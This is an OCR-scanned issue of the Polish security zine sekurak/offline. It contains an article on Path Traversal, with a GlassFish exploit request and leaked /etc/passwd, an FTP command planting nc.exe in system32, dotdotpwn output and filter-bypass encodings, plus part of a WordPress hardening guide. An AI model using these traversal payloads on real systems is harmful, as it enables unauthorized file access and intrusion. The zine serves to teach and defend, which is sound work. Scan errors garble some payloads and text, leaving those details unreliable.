sekurnk o

CZYM JEST .
PATH TRAVERSAL?

SERVER-SIDE
TEMPLATE INJECTIONS

WEBSHELLS

HARDENING
WORDPRESS

HTTP Strict Transport Security
(HSTS) w praktyce, czyli zmuszamy
przeglgdarke do stosowania
bezpiecznych potqgczen

Wykradanie tokenoéw,
hakowanie jQuery i omijanie
Same-Origin Policy - czyli
jak wygratem XSSMas
Challenge 2016

Unpickle - deserializacja
w Pythonie i zdalne
wykonywanie kodu

sekurak.pl/offline/




MICHAL SAJDAK

SEKURAK/OFFLINE:
CIAG DALSZY PRZYGODY...

Po okoto pét roku wydajemy kolejny numer sekurakowego
zina.

Bezpieczenstwo aplikacji webowych to caty czas goracy te-
mat, a do opisania nadal zostato jeszcze bardzo duzo. Dlate-
go zostajemy przy tych zagadnieniach.

Podobnie jak wczesdniej, staramy sie zréznicowac poziom
zaawansowania tekstéw. Znajda tu cos dla siebie zaréwno
poczatkujacy (Path Traversal), jak i bardziej zaawansowani
(SSTI, tematy deserializacji w Pythonie).

Witamy rowniez na tamach nowego autora. Marcin Hoppe
w czwartym numerze zina wprowadza nas w zagadnienia
HTTP Strict Transport Security.

Macie pytania? Prosby? Chcielibyscie podzieli¢ sie uwagami?
Czekamy na kontakt od Was (sekurak@sekurak.pl).
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Czym jest
Path Traversal?

Marcin Piosek

Atak Path Traversal przeprowadza sie, gdy po-
datna aplikacja pozwala na niekontrolowany
dostep do plikéw oraz katalogéw. Wektorem
ataku sg parametry przekazywane do aplika-
cji, reprezentujace Sciezki do zasobow...

Webshells - wykrywanie tylnych furtek
w aplikacjach WWW

Marcin Piosek

Artykul omawia podstawy zwigzane z klasg
zagrozen, tzw. webshell. Przedstawione zosta-
ly m.in. metody ich wykrywania oraz przy-
gotujemy Srodowisko testowe, ktére pozwoli
sprawdzi¢ zdobyte umiejetnosci...

Server-Side
Template Injections

Mateusz Niezabitowski

O SSTI zrobito sie gtoSno dopiero w ostatnim
czasie. Niska §wiadomos¢ deweloperdw, sil-
niki szablonéw, a w rezultacie wykonanie
dowolnego kodu, powoduje ze warto pozna¢
zasady dziatania stojgce za tym atakiem...

Hardening
WordPress

Marcin Piosek

Decyzja o tym, jakie oprogramowanie wyko-
rzystamy w wybranym celu, oparta jest na
szybkoSci wdrozenia oraz dostepnej funkcjo-
nalnosci, ale tam, gdzie priorytetem jest wy-
goda i czas, cierpi bezpieczenstwo...

HSTS - zmuszamy przegladarke do
stosowania bezpiecznych polaczen

Marcin Hoppe

Czym jest nagtéwek HSTS i kiedy go stosowac?
Co moze p6js$¢ nie tak, podczas jego wdroze-
nia? Niniejszy artykut opisuje wszystko to, co
zawsze chcieliScie wiedzie¢ o HSTS, ale baliscie
sie zapytac...

Unpickle - deserializacja w Pythonie
i zdalne wykonywanie kodu
Michat Bentkowski

W tym artykule pokaze uniwersalny sposob
na wykorzystanie niefiltrowanej deserializa-
cjidanych w Pythonie, dzieki czemu mozliwie
jest wykonywanie dowolnego kodu po stronie
ofiary...

Wykradanie tokenéw, hakowanie jQuery
i omijanie Same-Origin Policy...

Michat Bentkowski

XSSMas Challenge jest organizowane przez
Cure53 i polega na wykorzystaniu podatnosci
typu XSS. Wykonanie tego XSS-a nie jest pro-
ste - wymaga wykorzystania specyficznych
cech przegladarek lub nowych metod ataku...
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Czym jest Path Traversal?

Czym jest Path Traversal?

Atak Path Traversal przeprowadza sie w sytuacji, gdy podatna aplikacja
pozwala na niekontrolowany dostep do plikéw oraz katalogéw, do kté-
rych w normalnych warunkach uzytkownik nie powinien mie¢ dostepu.
Wektorem ataku sg parametry przekazywane do aplikacji, reprezentu-
jace Sciezki do zasobéw, na ktoérych maja zostaé wykonane okreSlone
operacje — odczyt, zapis, listowanie zawartoSci katalogu. Manipulacja
Sciezka odbywa sie np. poprzez dodawanie ciggu znakéw ,,../”.

W literaturze przedmiotu mozna spotkac sie z innymi okresleniami tej samej podat-
nosci: Directory Traversal lub,dot dot slash attack” Powodzenie ataku
determinuje zaréwno brak, lub niewystarczajgca walidacja danych wejsciowych do
aplikacji, jak i btedy konfiguracyjne — niepoprawne uprawnienia do plikéw i kata-
logéw. Udana préba wykorzystania podatnosci skutkuje mozliwoscia odczytania
zawartosci katalogow oraz plikéw, do ktérych atakujacy nie powinien mie¢ doste-
pu (np. pliki konfiguracyjne, zawierajace dane dostepowe do zewnetrznych ustug).
Atak nie jest charakterystyczny dla jednej grupy technologii (np. PHP). Path Traver-
sal czesto stanowi element innych atakow, np. LFI (Local File Inclusion).

LOGIKA PODATNOSCI
Standardowy przyktad kodu podatnego na Path Traversal:

<?php
readfile("document/" . $_GET["file"]);

Do funkcji readfile przekazywana jest wartos¢ parametru file, pobieranego bez-
posrednio z adresu URL. Wykorzystanie takiego kodu powoduje, ze manipulujac
wartoscig parametru file, mozliwe jest odczytanie dowolnego pliku z serwera, na
ktérym uruchomiona jest podatna aplikacja. Jedynym ograniczeniem beda upraw-
nienia, z jakimi uruchomiony jest demon serwera WWW. Podobne przyktady kodu
mozna przygotowac dla kazdej innej technologii oraz jezyka programowania.

ZAGROZENIA
Wystepowanie w aplikacji podatnosci Path Traversal, wigze sie z kilkoma zagro-
zeniami. Najwazniejsze z nich zostaty omoéwione ponize;j.

Ujawnienie nadmiarowych informacji

Dzieki udanemu atakowi z wykorzystaniem podatnosci na Path Traversal, moz-
liwe jest m.in. wylistowanie zawartosci dowolnego katalogu. Atakujacy uzyskuje
woéwczas dodatkowe informacje o architekturze aplikacji (struktura plikéw oraz ka-
talogéw). Moga by¢ one przydatne np. do odkrycia elementéw testowanego syste-
mu, ktére znajduja sie w tzw.,,gtebokim ukryciu”.

Innym potencjalnym scenariuszem ataku, jest odczytanie zwartosci plikow zawie-
rajacych historie wykonywanych komend na serwerze (np. .bash_history). Uzy-
skanie dostepu do tego typu plikéw, moze prowadzi¢ do ujawnienia danych doste-
powych do lokalnych, jak i zewnetrznych ustug (np. hasta do serwera bazy danych).

Ujawnienie plikéw konfiguracyjnych

Mimo, ze istnieje wyrazne podobienstwo do poprzedniego punktu, nalezy w oso-
bnym akapicie wspomnie¢ o potencjalnym dostepie do plikéw konfiguracyjnych.
Zagrozenie to moze by¢ szczegdlnie wazne w przypadku, gdy atakujacy uzyska do-
step do informacji o ustugach, ktére dostepne sg z zewnatrz.

Ciekawym przykfadem jest podatnos¢ pozwalajgca na wylistowanie informacji
o vhostach serwera Apache. Domyslnie, atakujgcy moze nie posiadac wiedzy o in-
nych aplikacjach uruchomionych na serwerze - poprzez wylistowanie takiej konfi-
guracji, uzyska informacje o innych elementach systemu - zwiekszy sie w ten spo-
séb potencjalna powierzchnia ataku.

Zdalne wykonanie kodu

Podatnosci zwigzane z Path Traversal nie ograniczaja sie tylko do mozliwosci od-
czytu plikéw. Jezeli aplikacja w niepoprawny sposéb waliduje dane podczas wgry-
wania plikdw na serwer, w teorii moze dojs¢ do sytuacji, w ktérej atakujacy bedzie
miat wptyw na sciezke zapisu pliku na serwerze. To z kolei, w zaleznosci od kon-
figuracji serwera, moze wprost doprowadzi¢ do sytuacji, w ktérej mozliwe bedzie
umieszczenie pliku w dowolnym miejscu drzewa katalogéw. W tym miejscu nalezy
oczywiscie uwzgledniajac ograniczenia zwigzane z uprawnieniami, na jakich wyko-
nywana jest operacja zapisu.

SZERSZE SPOJRZENIE NA PROBLEM
Path Traversal czasami wystepuje nie tylko w parametrze przekazywanym do
aplikacji (lub nagtowkach), ale takze w samym adresie URL. W ten sposéb, przecho-
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https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion
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Marcin Piosek

dzac pod adres podobny do podanego nizej, mozliwe jest odczytanie dowolnego
pliku z serwera.

http://vuln-app/../../../../etc/passwd

Powodem takiej podatnosci, moze byc¢ zaréwno btad serwera WWW, jak i nieodpo-
wiednio wdrozony routing aplikacji.

Nalezy pamietac o tym, ze podatnosci na omawianego ataku, nie mozna taczy¢
tylko z aplikacjami WWW. Atak ten mozliwy jest do przeprowadzenia wszedzie tam,
gdzie w niepoprawny sposob waliduje sie dane wejsciowe, ktore pozniej stuza do
odczytu plikéw lub katalogow.

Jak zostato wspominane, Path Traversal moze by¢ czescig innego ataku. Przy-
kladem moze by¢ podatnos¢ XXE (XML External Entity Processing) wystepujaca
w aplikacji, gdzie przekazujac odpowiednio spreparowang $ciezke zawierajaca Path
Traversal, mozliwe jest odczytanie zawartosci katalogu lub wybranego pliku.

PRZYKELADY PODATNOSCI

Bazy agregujace dane o podatnosciach w oprogramowaniu, sg petne informacji
o lukach pozwalajacych na przeprowadzenie ataku Path Traversal. Nalezy zaznaczy¢
fakt, ze ta klasa podatnosci jest znana od lat, mimo to nadal publikowane sg informa-
cje o nowych btedach wystepujacych w aplikacjach dotyczacych tej klasy podatnosci.

GlassFish Server

W sierpniu 2015 roku, opublikowano informacje o Path Traversal w popularnych
serwerze aplikacji GlassFish. Przejscie pod odpowiednio spreparowany adres URL
powodowato, ze mozliwe byto odczytanie dowolnego pliku z dysku, na ktérym uru-
chomione byto to oprogramowanie.

GET /theme/%c@%ae%cO%aekc0%atihcOkaekcO%aekco%atscoOkaelkcOhaekco%batsh
cO%aekco%aekco%athco%aekcOhaekckhathcoO%aekcO%aekcOkhatkcoO%aekc0%aek
c0%af%co%ae%hco%ae%co%athco%aekc0%ae%cO%athc0%ae%co%aekco%a aa%co%
affEEMe HTTP/1.1

Host: 127.0.0.1:4848

Accept: */*

Accept-Language: en

Connection: close

W odpowiedzi aplikacja zwracata zawarto$¢ pliku /etc/passwd:
HTTP/1.1 200 OK

Server: GlassFish Server Open Source Edition 4.1

Czym jest Path Traversal?

X-Powered-By: Servlet/3.1 JSP/2.3 (GlassFish Server Open Source Edition 4.1
Java/Oracle Corporation/1.7)

Last-Modified: Tue, 13 Jan 2015 10:00:00 GMT

Date: Tue, 10 Jan 2015 10:00:00 GMT

Connection: close

Content-Length: 1087

root:!:16436:0:99999:7:::
daemon:*:16273:0:99999:7:::
bin:*:16273:0:99999:7:::
Sys:*¥:16273:0:99999:7:::
sync:*:16273:0:99999:7:::
[..]

Co wazne, podatnosc ta dotyczyta zarowno serwera uruchomionego w srodowisku
Linux, jak i Windows.

ColoradoFTP 1.3

Path Traversal nie jest jedynie domena aplikacji WWW. Dos¢ czesto, przypadtosc
ta pojawia sie w serwerach FTP. Przyktadowo, w oprogramowaniu ColoradoFTP -
dodajac odpowiedni ciag znakéw — mozna byto uzyskac dostep do plikéw spoza
gtébwnego katalogu serwera. Natomiast wykonanie komendy z ponizszego listingu,
spowoduje wgranie pliku binarnego do katalogu system32:

ftp> put nc.exe \\\..\\..\\..\\Windows\\system32\\nc.exe

TESTOWANIE

Podobnie jak kazda inna podatnos$¢ w aplikacjach (np. SQL Injection, XSS), Path
Traversal moze wystgpi¢ w dowolnym elemencie oprogramowania lub funkgcji. Nie
ma miejsca, ktére mozna poming¢ podczas weryfikacji, niemniej wystepuja funkcje,
ktére w szczegdlny sposéb narazone sg na Path Traversal:
» pobieranie plikow z serwera,
» wczytywanie konfiguracji aplikacji (style, szablony, jezyk interfejsu),
» wgrywanie plikéw na serwer.

Podstawowg metodg testowania, jakg mozna wykorzysta¢, jest zastosowanie zwy-
ktego proxy HTTP, np. Burp Suite. Manipulujac zapytaniem — dodajac cigg znakéw
»../" do parametréw reprezentujacych sciezki do plikow oraz katalogéw, mozemy
probowac wyszukiwac podatnosci:
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Burp Suite Free Edition v1.7.03 - Temporary Project [ IO < ] l b
=td Burp Intruder Repeater Window Help Hel
J [Target T Proxy T Spider T Scanner T Intruder TRepeﬂter T Sequencer T Decoder T Comparer T Extender T Project options T User options Tnlerts W
r
I ...
en .1
| Go Cancel < |» Target: http://localhost |ﬂ |iJ ‘ i
kdir c
Request Response d chal
Raw | Params | Headers | Hex Raw | Headers | Hex

GET spt/efile=upload/../../../../. . /.. /etc/passwd HTTR/1.1 HTTP/1.1 200 OK [a
Host: localhost Dete: Tue, 27 Sep 2016 0/:51:20 GMT I
Connection: close Server: Apache/2.4.23 (Debian]

Wary: Accept-Enceding

Content-Length: 2977

Connection: close

Content-Type: text/html; charset=UTF-8

e

root:x:0: 0: root: /root: /bin/bash

daemon: x: 1: 1: daemon: fusr/shin: fusr/shin/nologin
bin: x: 2: 2: bin: /bin: fusr/sbin/nologin

sys: x: 3: 3: sys: /dev: /usr/sbin/nologin

sync: x: 4: 65534: sync: /bin: /bin/sync

Rysunek 1. Manipulacja parametrami przekazywanymi do aplikacji.

Automatyzacja

Podatnosci na Path Traversal mozna szukac recznie lub powierzy¢ skanerom
automatycznym. Przyktadem prostego narzedzia jest dotdotpwn — skrypt, ktéry
przeprowadza podstawowy fuzzing i na podstawie analizy odpowiedzi aplikacji jest
w stanie ustali¢, czy testowana aplikacja jest podatna.

root@kali:~# dotdotpwn -m http-url -u http://localhost/pt/?file=upload/TRAVERSAL
-k "root:" -b -q

[+] Report name: Reports/localhost_09-27-2016_02-56.txt

[========== TARGET INFORMATION ==========]
[+] Hostname: localhost

[+] Protocol: http

[+] Port: 80

[=========== TRAVERSAL ENGINE ===========]

[+] Creating Traversal patterns (mix of dots and slashes)

[+] Multiplying 6 times the traversal patterns (-d switch)

[+] Creating the Special Traversal patterns

[+] Translating (back)slashes in the filenames

[+] Adapting the filenames according to the 0S type detected (generic)
[+] Including Special sufixes

[+] Traversal Engine DONE ! - Total traversal tests created: 19680

[=========== TESTING RESULTS ============]
[+] Ready to launch 3.33 traversals per second
[+] Press Enter to start the testing (You can stop it pressing Ctrl + C)

Czym jest Path Traversal?

[+] Replacing "TRAVERSAL" with the traversals created and sending

g URL: http://localhost/pt/?file=upload/../../../../../../etc/passwd

[+] Fuzz testing finished after ©.10 minutes (6 seconds)
[+] Total Traversals found: 1

OMIJANIE FILTROW

Jako, ze Path Traversal nie jest nowg podatnoscia w Swiecie bezpieczenstwa IT,
wiekszos¢ oprogramowania klasy IDS wykrywa tego typu ataki. Oprogramowanie
takie jak IPS czy WAF, stara sie aktywnie przeciwdziata¢ prébom wykorzystania po-
datnosci, poprzez blokowanie zapytan zawierajacych znane ciggi znakéw (,,../" - jego
wariacje oraz powielone wystapienia). W takim przypadku, podatnos¢ w aplikacji
nadal moze istnie¢, jednak testujacy ,odbija” sie jedynie od dodatkowej warstwy za-
bezpieczajacej. Tego typu filtry, dziatajg zawsze na bazie czarnych list (ang. Black-
list), wtabeli zaprezentowano podstawowe formy omijania takich filtrow.

%2e%2e%2f oo/

%2e%2e/ oo/

%2 f oo/

%2e%2e%5c o\

%252e%252e%255¢ <\

. .%255c¢ A\

. . %CO%at A

.. %C1%9c¢ <\
OCHRONA

Podstawowg forma ochrony przed omawiang podatnoscia, jest odpowiednia
walidacja danych wejsciowych. Jezeli to mozliwe, zaleca sie rowniez wykorzystanie
mechanizmoéw polegajace na identyfikacji plikdw na dysku, np. poprzez unikalne
identyfikatory (UUID). Dodatkowo, nalezy pamietac¢ o weryfikacji uprawnien do pli-
kow (np. odpowiednie uprawnienia, z jakimi uruchomiony jest serwer WWW).
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Blokowanie ataku poprzez podmiane tekstu

W aplikacjach WWW, mozna spotkac sie z zabezpieczeniem polegajacym na
wyszukiwaniu w $ciezce do pliku, wystapienia ciagu ,../". Zabezpieczenie polega
na usunieciu takich ciggéw z tekstu reprezentujagcego nazwe pliku, lub $ciezke do
niego. Jest to dos¢ niefortunne rozwigzanie, poniewaz poprzez prostag manipulacje,
zabezpieczenie jest fatwe do pokonania. Przekazujac do aplikacji ponizszy cigg zna-
kow, tylko jego srodkowa cze$¢ zostanie usunieta:

-/

Usuniecie takiego ciagu ze $ciezki nie uchroni przed podatnoscia, poniewaz dalej
bedzie znajdowat sie w niej ciag,,../".

MODELOWANIE ZAGROZEN
Jezeli nasza aplikacja wykonuje operacje na plikach lub katalogach, rownocze-
$nie wykorzystujac w tym procesie dane pochodzace z niezaufanych zrédet, warto
odpowiedzie¢ na kilka pytan:
» Czy dane wykorzystywane przy operacjach na plikach oraz katalogach, sa w od-
powiedni sposdb walidowane?

Czym jest Path Traversal?

» Czy funkcje umozliwiajace wgrywanie plikdw na serwer, nie pozwalaja na mani-
pulacje Sciezka, pod ktérg zostanie zapisany plik?

» Czy wykorzystywane komponenty aplikacji (np. zewnetrzne skrypty) zostaty
sprawdzone pod katem podatnosci na Path Traversal?

PODSUMOWANIE

Atak Path Traversal z pewnoscig nie jest nowinka, dodatkowo — podobnie jak w przy-
padku wiekszosci podatnosci — ochrona przed nim sprowadza sie do wdrozenia od-
powiedniej walidacji danych wejsciowych do aplikacji. Bazy gromadzace informa-
cje o btedach w aplikacjach pokazuja jednak, ze z pewnoscig nie jest to podatnos¢,
o ktdrej mozna juz zapomniec. Nowe aplikacje wcigz pozwalajg na skuteczne prze-
prowadzenie tego ataku, a w konsekwencji — na nieuprawniony dostep do zasobdw,
a nawet zdalne wykonanie kodu.

Marcin Piosek. Analityk bezpieczenstwa IT, realizuje audyty bezpieczeristwa
oraz testy penetracyjne w firmie Securitum.
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Hardening Wordpress Ciekawe badanie (https://goo.gl/yJ6l7x) przeprowadzit réwniez zespot RIPS. Wy- SEKURAK.PL / (TN

Decyzja o tym, jakie oprogramowanie wykorzystamy w wybranym celu,
czesto podejmowana jest na podstawie analizy czasu potrzebnego na
jego wdrozenie oraz sumarycznej ilosSci funkgcji, jakie ten system nam
dostarczy. Prawdopodobne jest jednak to, ze tam, gdzie priorytetem jest
wygoda i czas, w pierwszej kolejnosci ucierpi bezpieczenstwo.

CZYM JEST WORDPRESS

WordPress nalezy zaliczy¢ do oprogramowania klasy CMS (ang. Content Manage-
ment System). Podstawowy zakres funkcji pozwala na szeroko pojete dostarczanie
tresci oraz ich komentowanie. Standardowy wachlarz funkcji moze zosta¢ rozbudo-
wany poprzez system wtyczek oraz szablonow, ktére WordPress pozwala instalowac
wprost z panelu zarzadzania.

WORDPRESS W LICZBACH

Opierajac sie na danych (https://goo.gl/OvTxqgJ) z serwisu w3techs.com, mozna
wysnu¢ wniosek, ze przegladajac cztery serwisy internetowe, jeden z nich bedzie
wykorzystywat jako silnik wtasnie WordPress. W kategorii systeméw CMS, Word-
Press miat udziat na poziomie prawie 60%. Przypominajac, ze méwimy o wszystkich
stronach WWW dostepnych w sieci oraz o aplikacjach klasy CMS, daje to obraz ska-
li wykorzystania WordPress. Interesujace sg réwniez statystyki (https://wordpress.
org/about/stats/), dostepne na oficjalnej stronie projektu. Wynika z nich, ze aktu-
alna rozwijana gataz zainstalowana jest na mniej niz potowie uruchomionych in-
stalacji. Te same statystyki pozwalajg ustali¢, ze jedna na dziesie¢ instalacji, nadal
pochodzi z wersji 3.x.

ZAGROZENIA

WordPress ma dtuga i bogatg historie wykrytych podatnosci (https://goo.gl/
vSrnmv). Na liscie tej, mozemy znalez¢ praktycznie wszystkie typy zagrozeh wymie-
nione w OWASP Top 10. Obecnie jednak, oprécz podatnosci w samym WordPressie,
liczne problemy dotycza wtyczek, ktére bardzo czesto wyrdzniaja sie wyjatkowo ni-
ska jakoscig kodu. Aby sie o tym przekonac, wystarczy przejrze¢ agregatory explo-
itow (https://www.exploit-db.com/). Za samo aktualne pétrocze wpiséw dotycza-
cych wtyczek WordPress jest blisko czterdziesci.

nika z niego, ze ponad 40% z przebadanych wtyczek, ma przynajmniej jedng podat-
nos¢ o srednim poziomie zagrozenia.

OCHRONA POPRZEZ PRZECIWDZIAEANIE

Jezeli nie mamy wptywu na zachowanie aplikacji, ktérg uruchamiamy we wia-
snym $rodowisku, mozemy zainteresowac sie oprogramowaniem klasy WAF. Na
rynku znalez¢ mozna kilka rozwigzan, ktére z powodzeniem powinny zablokowa¢
zdecydowang wiekszos¢ atakéw, jakie sg wymierzane w kierunku naszych aplika-
¢ji WWW. Jednym z najczesciej stosowanych rozwigzan jest F5 BIG-IP lub szeroko
znany CloudFlare, ktory w wyzszych planach abonamentowych udostepnia wtasnie
ochrone klasy WAF. Oczywiscie, oprogramowanie tej klasy ma zastosowanie nie tyl-
ko w przypadku serwiséw uruchomionych w oparciu o WordPress.

Jezeli jednak polityki bezpieczenstwa nie pozwalaja nam na przekierowanie ru-
chu przez serwery firm trzecich, lub na delegowanie serweréw DNS do zewnetrz-
nych podmiotow - jak ma to miejsce w przypadku CloudFlare - oraz ogranicza nas
budzet, wtedy trzeba zakasac rekawy i wzig¢ sprawy w swoje rece.

HARDENING NA WEASNA REKE
Rozpoczynajac hardening instalacji WordPress, nalezy pamietac¢ o tym, ze kwe-
stie bezpieczenstwa nalezy rozwaza¢ kompleksowo. Méwigc wprost: to, czy nasza
instalacja WordPress bedzie bezpieczna, zalezy oczywiscie od konfiguracji samego
CMS, ale krytyczne sg tutaj réwniez kwestie konfiguracji Srodowiska, na ktérym be-
dzie on uruchomiony. W sktad tego $rodowiska wchodzi zaréwno serwer, na ktérym
uruchamiamy WordPress, jak réwniez serwer WWW i baza danych. Na tym etapie,
nalezy wykonac techniczny rachunek sumienia i odpowiedzie¢ na pytanie, czy chce-
my skorzystac ze srodowiska wspoétdzielonego hostingu, gdzie w wiekszosci przy-
padkéw kwestie zwigzane z konfiguracja np. PHP spadajg na naszego dostawce, czy
moze jednak bedziemy prébowali konfigurowac wynajety serwer dedykowany lub
VPS. Jezeli decydujemy sie na druga opcje, warto zadbac o to, by srodowisko zostato
odpowiednio zabezpieczone oraz charakteryzowato sie odpowiednig dostepnoscia.
Kilka kwestii z tym zwigzanych zostato, opisanych na famach serwisu sekurak.pl:
» https://sekurak.pl/wysokodostepna-i-wydajna-architektura-dla-lamp-tutorial-cz-1/
» https://sekurak.pl/wysokodostepna-i-wydajna-architektura-dla-lamp-tutorial-cz-2/
» https://sekurak.pl/wysokodostepna-i-wydajna-architektura-dla-lamp-tutorial-cz-3/
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Marcin Piosek

W trakcie konfiguracji serwera nie mozna réwniez zapomnie¢ o zapewnieniu
szyfrowanego kanatu komunikacji - HTTPS. Jezeli nasz projekt nie zalicza sie do
kategorii komercyjnych, mozemy rozwazy¢ wykorzystanie projektu Let’s Encrypt
(https://letsencrypt.org/).

SRODOWISKO TESTOWE

Zmian opisanych w artykule nie zaleca sie od razu wprowadza¢ na srodowisku
produkcyjnym. Wszystko warto przetestowac na dedykowanych do tego instala-
cjach WordPress. Jezeli takowej nie posiadamy, mozemy ja szybko uruchomic¢ przy
pomocy Dockera (Listing 1).

Listing 1. Uruchomienie srodowiska testowego za pomoca Dockera

docker run --name wordpressdb -e MYSQL_ROOT_PASSWORD=toor -e MYSQL_
DATABASE=wordpress -d mysql

docker run -e WORDPRESS_DB_PASSWORD=toor -d --name wordpress --link
wordpressdb:mysql wordpress
docker inspect wordpress | grep IPAddress

INSTALACJA

Jednym z pierwszych krokédw do wykonania na etapie instalacji WordPress, jest
wybdr niestandardowej nazwy uzytkownika bazy danych oraz odpowiednio skom-
plikowanego hasta (Rysunek 1). Za dobra praktyke uznaje sie rowniez zmiane do-
mysInego prefiksu tabel tworzonych w bazie.

Po przejsciu do drugiego kroku instalacji musimy zdecydowac, jaka nazwe wybie-
rzemy dla gtéwnego uzytkownika (Rysunek 2). Rbwniez tutaj nalezatoby zdecydowac¢
sie na co$ bardziej skomplikowanego niz popularne ,admin” czy ,administrator”. Klu-
czowy jest rowniez wybo6r odpowiedniego hasta, pamietajmy: nigdy nie decydujmy
sie na zestaw typu,admin”jako login oraz,,admin”jak hasto — nawet jezeli uruchomia-
my serwis poza srodowiskiem testowym w celach testowych i na kilka godzin.

ZMIANA DOMYSLNYCH USTAWIEN

Jedna z pierwszych rzeczy, ktére warto zrobi¢ zaraz po instalacji, jest wytaczenie
mozliwosci rejestrowania sie w aplikacji nowych uzytkownikéw. Mozna to zrobi¢
poprzez panel zarzadzania, przechodzac do zaktadki Ustawienia, a nastepnie Ogdl-
ne (Rysunek 3).

Hardening WordPress

@WORDPRESS

Below you should enter your database connection details. If you're not sure about these, contact your host.

Database Name wordpress The name of the database you want to run
WP in.

User Name username Your MySQL usermame

Password password ...and your My3QL password.

Database Host localhost You should be able to get this info from your
web host, if localhost does not work.
Table Prefix wp If you want to run multiple WordPress
B installations in a single database, change this.
Submit

Rysunek 1. Formularz instalacyjny WordPress (Zrédfto: https://codex.wordpress.org/images/5/5a/install-step3.png)

Username admin

Usemames can have only alphanumeric characters, spaces, underscores, hyphens, periods and the @
symbaol.

Password, twice
A password will be
automatically generated for

you if you leave this blank. Strength indicator

Hint: The password should be at least seven characters long. To make it stronger, use upper and lower case
letters, numbers and symbols like 1™ 75 % & ).

Rysunek 2. Wybér loginu i hasta administratora

Czlonkostwo Kazdy moze sie zarejestrowac

Rysunek 3. Odznaczenie pola Cztonkostwo zapobiega mozliwosci rejestracji
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Marcin Piosek

W kolejnym kroku, mozna zadbac¢ o to, by komentarze do wpiséw oraz podstron
mogty by¢ dodawane tylko przez zalogowanych uzytkownikéw. Opcje odpowie-
dzialng za wymuszenie takiego zachowania znajdziemy, przechodzac do zaktadki
Ustawienia, a nastepnie Dyskusja (Rysunek 4).

Pozostale ustawienia v| Autor komentarza musi wprowadzic swd) podpis 1 email

komentarzy
v| Uzytkownicy musza byc zarejestrowani i zalogowani, aby méc komentowac

Rysunek 4. Niezalogowani uzytkownicy nie mogq dodawac komentarzy

Omawiajac kwestie komentarzy, nalezy pamietac o tym, ze jezeli w szablonie, na
ktéry sie zdecydujemy, chcemy catkowicie wytaczy¢ mozliwos¢ dodawania komen-
tarzy, nie mozemy ograniczy¢ sie tylko do usuniecia z kodu szablonu formularza
pozwalajacego na dodawanie nowych komentarzy. Mimo ze uzytkownik nie bedzie
widziat formularza pozwalajgcego na wpisanie tekstu oraz przycisku pozwalajace-
go na wystanie danych, WordPress dalej bedzie miat aktywny mechanizm odbiera-
jacy komentarze i zapisujacy je w bazie. Aby to zweryfikowa¢, wystarczy wysta¢ do
naszej instalacji proste zadanie HTTP (Listing 2).

Listing 2. Zadanie HTTP dodajace komentarz do WordPress

POST /wp-comments-post.php HTTP/1.1

Host: 127.0.0.1

Content-Type: application/x-www-form-urlencoded
Content-Length: 63

comment=sekurak@1&submit=0publikuj+komentarz&comment_post_ID=10

Jezeli serwer w odpowiedzi zwraca kod 302, wtedy z duzym prawdopodobien-
stwem cata operacja zakonczyta sie sukcesem (Listing 3).

Listing 3. Odpowiedz serwera z kodem 302, komentarz zostat dodany

HTTP/1.1 302 Found

Date: Sat, 10 Dec 2016 14:25:24 GMT

Expires: Wed, 11 Jan 1984 05:00:00 GMT

Cache-Control: no-cache, must-revalidate, max-age=0
Set-Cookie: [usuniete]

Location: https://127.0.0.1:8080/2016/12/10/test/#comment-1
Content-Length: ©

Content-Type: text/html

Hardening WordPress

Mozna to oczywiscie zweryfikowac w panelu administracyjnym, przechodzac do
zaktadki Komentarze (Rysunek 5).

Komentarze

Wiszystkie (1) | Oczekujace (0) | Zatwierdzone (1) | Spam (0) | Kosz (0)

Masowe dziatania |¥| | Zastosuy) Wszystkie typy komentarzy |¥| | Przefiltruj
O Autor Komentarz

J Anonim

sekurak01
192.168.56.103

(] Autor Komentarz

Rysunek 5. Dodany komentarz

Jezeli tak sie stato, prawdopodobnie mimo ukrycia formularza nasza instalacja
WordPress bedzie podatna na Denial of Service (https://goo.gl/k9zYbR) poprzez
masowe proby wystania takiego zapytania i zapetnienia catej przestrzeni przewi-
dzianej na baze danych.

USUNIECIE ZBEDNYCH ZASOBOW

Zaraz po pomyslnej instalacji nalezy réwniez zweryfikowac liste domysinie za-
instalowanych wtyczek (menu Wtyczki) oraz szablonéw (menu Wyglgd, nastepnie
Motywy). O ile w przypadku wtyczek przewaznie jest to jedynie Akismet, o tyle
w przypadku szablonéw domysinie instalowane sg az trzy. Jezeli nie planujemy ich
wykorzystywac, powinnismy usuna¢ wszystkie poza domysinym, a na liste zadan
dodac¢ usuniecie tego ostatniego zaraz po zainstalowaniu wybranego przez nasz
szablonu. Jaki$ czas temu, wtasnie w jednym z domysInych szablonéw Twenty Fif-
teen znaleziono podatnos¢ (https://goo.gl/NaONj7) typu DOM-based Cross-Site
Scripting (https://goo.gl/JHSwPD). Oznaczato to, ze praktycznie wszystkie instalacje
WordPress, w ktorych nie usunieto domysinych szablonow, byly podatne na XSS.
Kilka stéw o tym, dlaczego XSS jest szczegdlnie grozny w przypadku WordPress, za-
warto w dalszej czesci artykutu.
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UJAWNIANIE NADMIAROWYCH INFORMAC]I
Gdy pozbylismy sie niepotrzebnego balastu w postaci nadmiarowych wtyczek
oraz szablonéw, w kolejnym kroku powinnismy zweryfikowa¢, w jaki sposéb Word-
Press jest widziany z zewnatrz. Prace nad poprawa wizerunku mozemy rozpocza¢
od ukrycia wersji CMS, jaki wykorzystujemy. Uwaga: ukrycie wersji nie powinno
zwalnia¢ nas od dbania o to, by zawsze wykorzystywac najnowsza stabilng wersje.
WordPress ujawnia wykorzystywang wersje w kilku miejscach:
» plik readme.html w gtownym katalogu aplikacji,
» metatag generator w zrédle strony,
» kanaty RSS,
» wartos¢ parametru ver dodawanego do adreséw URL styléw CSS oraz skryptow
JavaScript.

W przypadku pliku readme . html wydawac by sie mogto, ze wystarczy jego usuniecie.
Problem jednak w tym, ze po kazdej aktualizacji bedzie on tworzony na nowo. Takie za-
chowanie wymusza na nas wypracowanie systematycznego podejscia, ktére polegac
bedzie na automatycznym usuwaniu nadmiarowych plikéw. Mozna réwniez rozwazy¢
zamkniecie dostepu do niego poprzez konfiguracje serwera WWW (Listing 4).

Listing 4. Blokowanie dostepu do pliku readme.html poprzez konfiguracje serwera Apache

<VirtualHost>

<files readme.html>
order allow,deny
deny from all

</files>

</VirtualHost>

Jak zostato to zaznaczone wczesniej, nie jest to jednak jedyny krok, jaki musimy
podja¢ w celu ukrycia wykorzystywanej wersji WordPress. Na szczescie, zdecydowa-
